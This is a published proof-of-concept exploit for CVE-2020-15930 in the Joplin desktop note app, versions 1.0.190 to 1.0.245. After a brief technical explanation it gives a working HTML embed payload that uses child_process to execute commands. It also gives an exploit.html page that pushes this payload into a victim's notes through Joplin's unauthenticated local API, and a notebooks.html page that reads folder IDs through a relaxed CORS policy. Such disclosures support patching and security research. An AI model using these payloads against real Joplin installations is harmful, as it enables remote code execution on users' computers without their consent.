Joplin 1.0.245 Cross Site Scripting / Code Execution

# Exploit Title: Joplin 1.0.245 - Arbitrary Code Execution (PoC)
# Date: 2020-09-21
# Exploit Author: Ademar Nowasky Junior (@nowaskyjr)
# Vendor Homepage: https://joplinapp.org/
# Software Link: https://github.com/laurent22/joplin/releases/download/v1.0.245/Joplin-Setup-1.0.245.exe
# Version: 1.0.190 to 1.0.245
# Tested on: Windows / Linux
# CVE : CVE-2020-15930
# References:
# https://github.com/laurent22/joplin/commit/57d750bc9aeb0f98d53ed4b924458b54984c15ff

# 1. Technical Details
# An XSS issue in Joplin for desktop v1.0.190 to v1.0.245 allows arbitrary code execution via a malicious HTML embed tag.
# HTML embed tags are not blacklisted in Joplin's renderer. This can be chained with a bug where child windows opened through window.open() have node integration enabled to achieve ACE.
# If Joplin API is enabled, Remote Code Execution with user interaction is possible by abusing the lack of required authentication in Joplin 'POST /notes' api endpoint to remotely deploy the payload into the victim application.

# 2. PoC
# Paste the following payload into a note:

<embed src="data:text/html,<script>opener?require(`child_process`).exec(`calc`):open(location)</script>">

# 2.1 RCE with user interaction
# Enable Joplin API, visit exploit.html and open the created note in Joplin to execute the exploit.
# By default, notes are stored in the last notebook created.

<!-- exploit.html -->
<script>
    x = new XMLHttpRequest;
    j = {
        title: "CVE-2020-15930",
        body: "<embed src='data:text/html,<script>opener?require(`child_process`).exec(`calc`):open(location)<\/script>'>"
    };
    x.open("POST", "http://127.0.0.1:41184/notes");
    x.send(JSON.stringify(j));
</script>

# To create a note in other notebooks you need the notebook ID. It's possible to get the victim's notebooks IDs due to a relaxed CORS policy in 'GET /folders' endpoint.

<!-- notebooks.html -->
<script>
    x = new XMLHttpRequest();
    x.onreadystatechange = function() {
        if (x.readyState == XMLHttpRequest.DONE) {
            alert(x.responseText);
        }
    }
    x.open('GET', 'http://127.0.0.1:41184/folders');
    x.send();
</script>

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